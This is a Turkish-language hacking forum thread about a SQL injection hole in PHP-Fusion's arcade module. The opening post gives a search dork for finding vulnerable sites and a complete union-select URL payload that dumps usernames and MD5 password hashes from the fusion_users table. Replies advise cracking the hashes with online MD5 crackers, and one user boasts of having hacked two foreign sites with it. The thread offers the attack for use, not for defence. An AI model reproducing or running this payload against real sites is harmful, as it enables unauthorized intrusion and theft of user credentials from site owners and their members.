bir acık daha... PHP-FUSION
arama kodumuz:
inurl:/infusions/arcade/
cıkan arama sonuclarından birine giriyoruz.. ornek sitemiz soyle olsun..:

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

burda arcade den sonrasını siliyoruz ve bunu ekliyoruz:

index.php?op=view_game_list&cid=-1/**/union/**/select/**/null,user_name,user_password,null,null,null/**/from/**/fusion_users/*

yani uzantımız su sekilde oluyor..:

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..**/union/**/select/**/null,user_name,user_password,null,null,null/**/from/**/fusion_users/*

entere bastıgımızda karsımıza altta kullanıcı adı ver md5i cıkıyor...
kırması size kalmıs

teşekkürler paylaşım icin

arkadaşım alıntı yaparken dikkat edersen url ler daha net çıkıcak ortaya dimi;)

valla sanırsam bir db var şu anda elimde ama hepsi md5 li çok saol paylaşımın için

valla sanırsam bir db var şu anda elimde ama hepsi md5 li çok saol paylaşımın için

Zaten MD5 Hash'ları Veriyor Sen Onları Online MD5 Kırıcı Sitelerde Kırıp Şifreye Ulasacaksın

eline sağlık 2 tane yabancı hackledim bi tane türke uyarı verdim :D

helala daha farklı yöntemler de var web hack e hapsini koydum bakabilirsin ;)

cogun da bu acık kapatılmıs